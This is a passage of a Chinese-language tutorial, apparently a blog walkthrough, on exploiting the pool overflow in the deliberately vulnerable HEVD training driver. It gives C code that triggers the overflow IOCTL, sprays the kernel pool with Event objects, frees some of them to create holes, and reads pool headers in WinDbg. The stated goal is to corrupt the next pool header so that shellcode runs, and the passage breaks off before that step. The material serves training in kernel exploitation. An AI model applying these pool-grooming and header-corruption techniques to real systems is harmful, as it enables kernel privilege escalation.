class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;Windows.h&gt;</span></span></span><br><span class="line"></span><br><span class="line">HANDLE hDevice = <span class="literal">NULL</span>;</span><br><span class="line"></span><br><span class="line"><span class="function">BOOL <span class="title">init</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="comment">// Get HANDLE</span></span><br><span class="line">hDevice = CreateFileA(<span class="string">"\\\\.\\HackSysExtremeVulnerableDriver"</span>,</span><br><span class="line">GENERIC_READ | GENERIC_WRITE,</span><br><span class="line"><span class="literal">NULL</span>,</span><br><span class="line"><span class="literal">NULL</span>,</span><br><span class="line">OPEN_EXISTING,</span><br><span class="line"><span class="literal">NULL</span>,</span><br><span class="line"><span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Start to get HANDLE...\n"</span>);</span><br><span class="line"><span class="keyword">if</span> (hDevice == INVALID_HANDLE_VALUE || hDevice == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Success to get HANDLE!\n"</span>);</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">DWORD bReturn = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">char</span> buf[<span class="number">8</span>];</span><br><span class="line"><span class="keyword">if</span> (init() == FALSE)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Failed to get HANDLE!!!\n"</span>);</span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">RtlFillMemory(buf, <span class="number">8</span>, <span class="number">0x41</span>);</span><br><span class="line">DeviceIoControl(hDevice, <span class="number">0x22200f</span>, buf, <span class="number">8</span>, <span class="literal">NULL</span>, <span class="number">0</span>, &amp;bReturn, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>运行一下如我们所愿调用了<code>TriggerPoolOverflow</code>函数，另外我们可以发现 Pool  Size 有 0x1F8(504) 的大小(如果你细心的话其实在IDA中也能看到，另外你可以尝试着多传入几个字节的大小破坏下一块池头的内容，看看是否会蓝屏)</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">0: kd&gt; g</span><br><span class="line">****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******</span><br><span class="line">[+] Allocating Pool chunk</span><br><span class="line">[+] Pool Tag: &apos;kcaH&apos;</span><br><span class="line">[+] Pool Type: NonPagedPool</span><br><span class="line">[+] Pool Size: 0x1F8</span><br><span class="line">[+] Pool Chunk: 0x8674B610</span><br><span class="line">[+] UserBuffer: 0x001BFB58</span><br><span class="line">[+] UserBuffer Size: 0x8</span><br><span class="line">[+] KernelBuffer: 0x8674B610</span><br><span class="line">[+] KernelBuffer Size: 0x1F8</span><br><span class="line">[+] Triggering Pool Overflow</span><br><span class="line">[+] Freeing Pool chunk</span><br><span class="line">[+] Pool Tag: &apos;kcaH&apos;</span><br><span class="line">[+] Pool Chunk: 0x8674B610</span><br><span class="line">****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******</span><br></pre></td></tr></table></figure><p>我们现在需要了解内核池分配的情况，所以我们需要在拷贝函数执行之前下断点观察，我们把 buf 设为 0x1F8 大小</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; u 8D6A320B // 反编译查看断点位置是否下对</span><br><span class="line">HEVD!TriggerPoolOverflow+0xe1 [c:\hacksysextremevulnerabledriver\driver\pooloverflow.c @ 113]:</span><br><span class="line">8d6a320b e8cacfffff      call    HEVD!memcpy (8d6a01da)</span><br><span class="line">8d6a3210 686c436a8d      push    offset HEVD! ?? ::NNGAKEGL::`string&apos; (8d6a436c)</span><br><span class="line">8d6a3215 e8eccdffff      call    HEVD!DbgPrint (8d6a0006)</span><br><span class="line">8d6a321a 6834446a8d      push    offset HEVD! ?? ::NNGAKEGL::`string&apos; (8d6a4434)</span><br><span class="line">8d6a321f 53              push    ebx</span><br><span class="line">8d6a3220 e8e1cdffff      call    HEVD!DbgPrint (8d6a0006)</span><br><span class="line">8d6a3225 ff75e4          push    dword ptr [ebp-1Ch]</span><br><span class="line">8d6a3228 57              push    edi</span><br><span class="line">1: kd&gt; ba e1 8D6A320B // 下硬件执行断点</span><br><span class="line">1: kd&gt; g</span><br><span class="line">****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******</span><br><span class="line">[+] Allocating Pool chunk</span><br><span class="line">[+] Pool Tag: &apos;kcaH&apos;</span><br><span class="line">[+] Pool Type: NonPagedPool</span><br><span class="line">[+] Pool Size: 0x1F8</span><br><span class="line">[+] Pool Chunk: 0x88CAAA90</span><br><span class="line">[+] UserBuffer: 0x001FF82C</span><br><span class="line">[+] UserBuffer Size: 0x1F8</span><br><span class="line">[+] KernelBuffer: 0x88CAAA90</span><br><span class="line">[+] KernelBuffer Size: 0x1F8</span><br><span class="line">[+] Triggering Pool Overflow</span><br><span class="line">Breakpoint 0 hit</span><br><span class="line">HEVD!TriggerPoolOverflow+0xe1:</span><br><span class="line">8c6d120b e8cacfffff      call    HEVD!memcpy (8c6ce1da)</span><br></pre></td></tr></table></figure><p>我们可以用<code>!pool address</code>命令查看address周围地址处的池信息</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">kd&gt; !pool 0x88CAAA90</span><br><span class="line">Pool page 88caaa90 region is Nonpaged pool</span><br><span class="line"> 88caa000 size:  118 previous size:    0  (Allocated)  AfdE (Protected)</span><br><span class="line"> 88caa118 size:    8 previous size:  118  (Free)       Ipng</span><br><span class="line"> 88caa120 size:   68 previous size:    8  (Allocated)  EtwR (Protected)</span><br><span class="line"> 88caa188 size:  2e8 previous size:   68  (Free)       Thre</span><br><span class="line"> 88caa470 size:  118 previous size:  2e8  (Allocated)  AfdE (Protected)</span><br><span class="line"> 88caa588 size:  190 previous size:  118  (Free)       AleD</span><br><span class="line"> 88caa718 size:   68 previous size:  190  (Allocated)  EtwR (Protected)</span><br><span class="line"> 88caa780 size:   48 previous size:   68  (Allocated)  Vad </span><br><span class="line"> 88caa7c8 size:   30 previous size:   48  (Allocated)  NpFn Process: 88487d40</span><br><span class="line"> 88caa7f8 size:   f8 previous size:   30  (Allocated)  MmCi</span><br><span class="line"> 88caa8f0 size:   48 previous size:   f8  (Allocated)  Vad </span><br><span class="line"> 88caa938 size:  138 previous size:   48  (Allocated)  ALPC (Protected)</span><br><span class="line"> 88caaa70 size:   18 previous size:  138  (Allocated)  CcWk</span><br><span class="line">*88caaa88 size:  200 previous size:   18  (Allocated) *Hack</span><br><span class="line">Owning component : Unknown (update pooltag.txt)</span><br><span class="line"> 88caac88 size:   20 previous size:  200  (Allocated)  ReTa</span><br><span class="line"> 88caaca8 size:  190 previous size:   20  (Free)       AleD</span><br><span class="line"> 88caae38 size:  1c8 previous size:  190  (Allocated)  AleE</span><br></pre></td></tr></table></figure><p>我们查看我们申请到池的末尾，0x41414141之后就是下一个池的池首，我们待会主要的目的就是修改下一个池首的内容，从而运行我们shellcode</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">kd&gt; dd 88caac88-8</span><br><span class="line">88caac80  41414141 41414141 04040040 61546552</span><br><span class="line">88caac90  00000000 00000003 00000000 00000000</span><br><span class="line">88caaca0  00000000 00000000 00320004 44656c41</span><br><span class="line">88caacb0  884520c8 88980528 00000011 00000000</span><br><span class="line">88caacc0  01100802 00000080 760e0002 000029c7</span><br><span class="line">88caacd0  873e2ae0 873e2ae0 e702b9dd 00000000</span><br><span class="line">88caace0  00000164 00000000 00000000 00000001</span><br><span class="line">88caacf0  00000000 00000100 88caacb0 8969ae1b</span><br></pre></td></tr></table></figure><h3 id="Event-Object"><a href="#Event-Object" class="headerlink" title="Event Object"></a>Event Object</h3><p>从上面的池分布信息可以看到周围的池分布是很杂乱无章的，我们希望是能够控制我们内核池的分布，从源码中我们已经知道，我们的漏洞点是产生在非分页池中的，所以我们需要一个函数像malloc一样申请在我们的内核非分页池中，我们这里使用的是<a href="https://docs.microsoft.com/zh-cn/windows/win32/api/synchapi/nf-synchapi-createeventa" target="_blank" rel="noopener"><code>CreateEventA</code></a>，函数原型如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">HANDLE <span class="title">CreateEventA</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params">  LPSECURITY_ATTRIBUTES lpEventAttributes,</span></span></span><br><span class="line"><span class="function"><span class="params">  BOOL                  bManualReset,</span></span></span><br><span class="line"><span class="function"><span class="params">  BOOL                  bInitialState,</span></span></span><br><span class="line"><span class="function"><span class="params">  LPCSTR                lpName</span></span></span><br><span class="line"><span class="function"><span class="params">)</span></span>;</span><br></pre></td></tr></table></figure><p>该函数会生成一个<a href="https://docs.microsoft.com/zh-cn/windows/win32/sync/event-objects" target="_blank" rel="noopener"><code>Event</code></a>事件对象，它的大小为 0x40 ，因为在刚才的调试中我们知道我们的池大小为 <code>0x1f8 + 8 = 0x200</code>，所以多次申请就刚好可以填满我们的池，如果把池铺满成我们的Event对象，我们再用<a href="https://docs.microsoft.com/zh-cn/windows/win32/api/handleapi/nf-handleapi-closehandle" target="_blank" rel="noopener"><code>CloseHandle</code></a>函数释放一些对象，我们就可以在Event中间留出一些我们可以操控的空间，我们构造如下代码测试</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;Windows.h&gt;</span></span></span><br><span class="line"></span><br><span class="line">HANDLE hDevice = <span class="literal">NULL</span>;</span><br><span class="line"></span><br><span class="line"><span class="function">BOOL <span class="title">init</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="comment">// Get HANDLE</span></span><br><span class="line">hDevice = CreateFileA(<span class="string">"\\\\.\\HackSysExtremeVulnerableDriver"</span>,</span><br><span class="line">GENERIC_READ | GENERIC_WRITE,</span><br><span class="line"><span class="literal">NULL</span>,</span><br><span class="line"><span class="literal">NULL</span>,</span><br><span class="line">OPEN_EXISTING,</span><br><span class="line"><span class="literal">NULL</span>,</span><br><span class="line"><span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Start to get HANDLE...\n"</span>);</span><br><span class="line"><span class="keyword">if</span> (hDevice == INVALID_HANDLE_VALUE || hDevice == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Success to get HANDLE!\n"</span>);</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">HANDLE spray_event[<span class="number">0x1000</span>];</span><br><span class="line"></span><br><span class="line"><span class="function">VOID <span class="title">pool_spray</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; <span class="number">0x1000</span>; i++)</span><br><span class="line">spray_event[i] = CreateEventA(<span class="literal">NULL</span>, FALSE, FALSE, <span class="literal">NULL</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">DWORD bReturn = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">char</span> buf[<span class="number">504</span>] = &#123; <span class="number">0</span> &#125;;</span><br><span class="line"></span><br><span class="line">RtlFillMemory(buf, <span class="number">504</span>, <span class="number">0x41</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (init() == FALSE)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Failed to get HANDLE!!!\n"</span>);</span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">pool_spray();</span><br><span class="line">DeviceIoControl(hDevice, <span class="number">0x22200f</span>, buf, <span class="number">504</span>, <span class="literal">NULL</span>, <span class="number">0</span>, &amp;bReturn, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">//__debugbreak();</span></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以发现，我们已经把内核池铺成了我们希望的样子</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line">****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******</span><br><span class="line">[+] Allocating Pool chunk</span><br><span class="line">[+] Pool Tag: &apos;kcaH&apos;</span><br><span class="line">[+] Pool Type: NonPagedPool</span><br><span class="line">[+] Pool Size: 0x1F8</span><br><span class="line">[+] Pool Chunk: 0x86713A08</span><br><span class="line">[+] UserBuffer: 0x0032FB1C</span><br><span class="line">[+] UserBuffer Size: 0x1F8</span><br><span class="line">[+] KernelBuffer: 0x86713A08</span><br><span class="line">[+] KernelBuffer Size: 0x1F8</span><br><span class="line">[+] Triggering Pool Overflow</span><br><span class="line">Breakpoint 0 hit</span><br><span class="line">HEVD!TriggerPoolOverflow+0xe1:</span><br><span class="line">8c6d120b e8cacfffff      call    HEVD!memcpy (8c6ce1da)</span><br><span class="line">kd&gt; !pool 0x86713A08</span><br><span class="line">Pool page 86713a08 region is Nonpaged pool</span><br><span class="line"> 86713000 size:   40 previous size:    0  (Allocated)  Even (Protected)</span><br><span class="line"> 86713040 size:   10 previous size:   40  (Free)       ....</span><br><span class="line"> 86713050 size:   48 previous size:   10  (Allocated)  Vad </span><br><span class="line"> 86713098 size:   48 previous size:   48  (Allocated)  Vad </span><br><span class="line"> 867130e0 size:   40 previous size:   48  (Allocated)  Even (Protected)</span><br><span class="line"> 86713120 size:   28 previous size:   40  (Allocated)  WfpF</span><br><span class="line"> 86713148 size:   28 previous size:   28  (Allocated)  WfpF</span><br><span class="line"> 86713170 size:  890 previous size:   28  (Free)       NSIk</span><br><span class="line">*86713a00 size:  200 previous size:  890  (Allocated) *Hack</span><br><span class="line">Owning component : Unknown (update pooltag.txt)</span><br><span class="line"> 86713c00 size:   40 previous size:  200  (Allocated)  Even (Protected)</span><br><span class="line"> 86713c40 size:   40 previous size:   40  (Allocated)  Even (Protected)</span><br><span class="line"> 86713c80 size:   40 previous size:   40  (Allocated)  Even (Protected)</span><br><span class="line"> 86713cc0 size:   40 previous size:   40  (Allocated)  Even (Protected)</span><br><span class="line"> 86713d00 size:   40 previous size:   40  (Allocated)  Even (Protected)</span><br><span class="line"> 86713d40 size:   40 previous size:   40  (Allocated)  Even (Protected)</span><br><span class="line"> 86713d80 size:   40 previous size:   40  (Allocated)  Even (Protected)</span><br><span class="line"> 86713dc0 size:   40 previous size:   40  (Allocated)  Even (Protected)</span><br><span class="line"> 86713e00 size:   40 previous size:   40  (Allocated)  Even (Protected)</span><br><span class="line"> 86713e40 size:   40 previous size:   40  (Allocated)  Even (Protected)</span><br><span class="line"> 86713e80 size:   40 previous size:   40  (Allocated)  Even (Protected)</span><br><span class="line"> 86713ec0 size:   40 previous size:   40  (Allocated)  Even (Protected)</span><br><span class="line"> 86713f00 size:   40 previous size:   40  (Allocated)  Even (Protected)</span><br><span class="line"> 86713f40 size:   40 previous size:   40  (Allocated)  Even (Protected)</span><br><span class="line"> 86713f80 size:   40 previous size:   40  (Allocated)  Even (Protected)</span><br><span class="line"> 86713fc0 size:   40 previous size:   40  (Allocated)  Even (Protected)</span><br></pre></td></tr></table></figure><p>接下来我们加上<code>CloseHandle</code>函数就可以制造一些空洞了</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">VOID <span class="title">pool_spray</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; <span class="number">0x1000</span>; i++)</span><br><span class="line">spray_event[i] = CreateEventA(<span class="literal">NULL</span>, FALSE, FALSE, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; <span class="number">0x1000</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">// 0x40 * 8 = 0x200</span></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> j = <span class="number">0</span>; j &lt; <span class="number">8</span>; j++)</span><br><span class="line">CloseHandle(spray_event[i + j]);</span><br><span class="line">i += <span class="number">8</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>重新运行结果如下，我们已经制造了许多空洞</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line">****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******</span><br><span class="line">[+] Allocating Pool chunk</span><br><span class="line">[+] Pool Tag: &apos;kcaH&apos;</span><br><span class="line">[+] Pool Type: NonPagedPool</span><br><span class="line">[+] Pool Size: 0x1F8</span><br><span class="line">[+] Pool Chunk: 0x8675AB88</span><br><span class="line">[+] UserBuffer: 0x0017F808</span><br><span class="line">[+] UserBuffer Size: 0x1F8</span><br><span class="line">[+] KernelBuffer: 0x8675AB88</span><br><span class="line">[+] KernelBuffer Size: 0x1F8</span><br><span class="line">[+] Triggering Pool Overflow</span><br><span class="line">Breakpoint 0 hit</span><br><span class="line">HEVD!TriggerPoolOverflow+0xe1:</span><br><span class="line">8d6a320b e8cacfffff      call    HEVD!memcpy (8d6a01da)</span><br><span class="line">1: kd&gt; !pool 0x8675AB88</span><br><span class="line">unable to get nt!ExpHeapBackedPoolEnabledState</span><br><span class="line">Pool page 8675ab88 region is Nonpaged pool</span><br><span class="line"> 8675a000 size:   40 previous size:    0  (Free)       Even</span><br><span class="line"> 8675a040 size:   40 previous size:   40  (Free )  Even (Protected)</span><br><span class="line"> 8675a080 size:   40 previous size:   40  (Free )  Even (Protected)</span><br><span class="line"> 8675a0c0 size:   40 previous size:   40  (Free )  Even (Protected)</span><br><span class="line"> 8675a100 size:   40 previous size:   40  (Free )  Even (Protected)</span><br><span class="line"> 8675a140 size:   40 previous size:   40  (Free )  Even (Protected)</span><br><span class="line"> 8675a180 size:   40 previous size:   40  (Free )  Even (Protected)</span><br><span class="line"> 8675a1c0 size:   40 previous size:   40  (Free )  Even (Protected)</span><br><span class="line"> 8675a200 size:   40 previous size:   40  (Free )  Even (Protected)</span><br><span class="line"> 8675a240 size:   40 previous size:   40  (Allocated)  Even (Protected)</span><br><span class="line"> 8675a280 size:   40 previous size:   40  (Free )  Even (Protected)</span><br><span class="line"> 8675a2c0 size:   40 previous size:   40  (Free )  Even (Protected)</span><br><span class="line"> 8675a300 size:   40 previous size:   40  (Free )  Even (Protected)</span><br><span class="line"> 8675a340 size:   40 previous size:   40  (Free )  Even (Protected)</span><br><span class="line"> 8675a380 size:   40 previous size:   40  (Free )  Even (Protected)</span><br><span class="line"> 8675a3c0 size:   40 previous size:   40  (Free )  Even (Protected)</span><br><span class="line"> 8675a400 size:   40 previous size:   40  (Free )  Even (Protected)</span><br><span class="line"> 8675a440 size:   40 previous size:   40  (Free)       Even</span><br><span class="line"> 8675a480 size:   40 previous size:   40  (Allocated)  Even (Protected)</span><br><span class="line"> 8675a4c0 size:  200 previous size:   40  (Free)       Even</span><br><span class="line"> 8675a6c0 size:   40 previous size:  200  (Allocated)  Even (Protected)</span><br><span class="line"> 8675a700 size:  200 previous size:   40  (Free)       Even</span><br><span class="line"> 8675a900 size:   40 previous size:  200  (Allocated)  Even (Protected)</span><br><span class="line"> 8675a940 size:  200 previous size:   40  (Free)       Even</span><br><span class="line"> 8675ab40 size:   40 previous size:  200  (Allocated)  Even (Protected)</span><br><span class="line">*8675ab80 size:  200 previous size:   40  (Allocated) *Hack</span><br><span class="line">Owning component : Unknown (update pooltag.txt)</span><br><span class="line"> 8675ad80 size:   40 previous size:  200  (Allocated)  Even (Protected)</span><br><span class="line"> 8675adc0 size:  200 previous size:   40  (Free)       Even</span><br><span class="line"> 8675afc0 size:   40 previous size:  200  (Allocated)  Even (Protected)</span><br></pre></td></tr></table></figure><h3 id="池头伪造"><a href="#池头伪造" class="headerlink" title="池头伪造"></a>池头伪造</h3><p>首先我们复习一下<code>x86 Kernel Pool</code>的池头结构<code>_POOL_HEADER</code>，<code>_POOL_HEADER</code>是用来管理pool thunk的，里面存放一些释放和分配所需要的信息</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">0: kd&gt; dt nt!_POOL_HEADER</span><br><span class="line">   +0x000 PreviousSize     : Pos 0, 9 Bits</span><br><span class="line">   +0x000 PoolIndex        : Pos 9, 7 Bits</span><br><span class="line">   +0x002 BlockSize        : Pos 0, 9 Bits</span><br><span class="line">   +0x002 PoolType         : Pos 9, 7 Bits</span><br><span class="line">   +0x000 Ulong1           : Uint4B</span><br><span class="line">   +0x004 PoolTag          : Uint4B</span><br><span class="line">   +0x004 AllocatorBackTraceIndex : Uint2B</span><br><span class="line">   +0x006 PoolTagHash      : Uint2B</span><br></pre></td></tr></table></figure><ul><li>PreviousSize: 前一个chunk的BlockSize。</li><li>PoolIndex : 所在大pool的pool descriptor的index。这是用来检查释放pool的算法是否释放正确了。</li><li>PoolType: Free=0,Allocated=(PoolType|2)</li><li>PoolTag: 4个可打印字符，标明由哪段代码负责。(4 printable characters identifying the code responsible for the allocation)</li></ul><p>我们在调试中查看下一个池的一些结构</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line">[+] Pool Chunk: 0x867C8CC8</span><br><span class="line">...</span><br><span class="line">2: kd&gt; !pool 0x867C8CC8</span><br><span class="line">...</span><br><span class="line">*867c8cc0 size:  200 previous size:   40  (Allocated) *Hack</span><br><span class="line">Owning component : Unknown (update pooltag.txt)</span><br><span class="line"> 867c8ec0 size:   40 previous size:  200  (Allocated)  Even (Protected)</span><br><span class="line">...</span><br><span class="line">2: kd&gt; dd 867c8ec0</span><br><span class="line">867c8ec0  04080040 ee657645 00000000 00000040</span><br><span class="line">867c8ed0  00000000 00000000 00000001 00000001</span><br><span class="line">867c8ee0  00000000 0008000c 88801040 00000000</span><br><span class="line">867c8ef0  11040001 00000000 867c8ef8 867c8ef8</span><br><span class="line">867c8f00  00200008 ee657645 867bc008 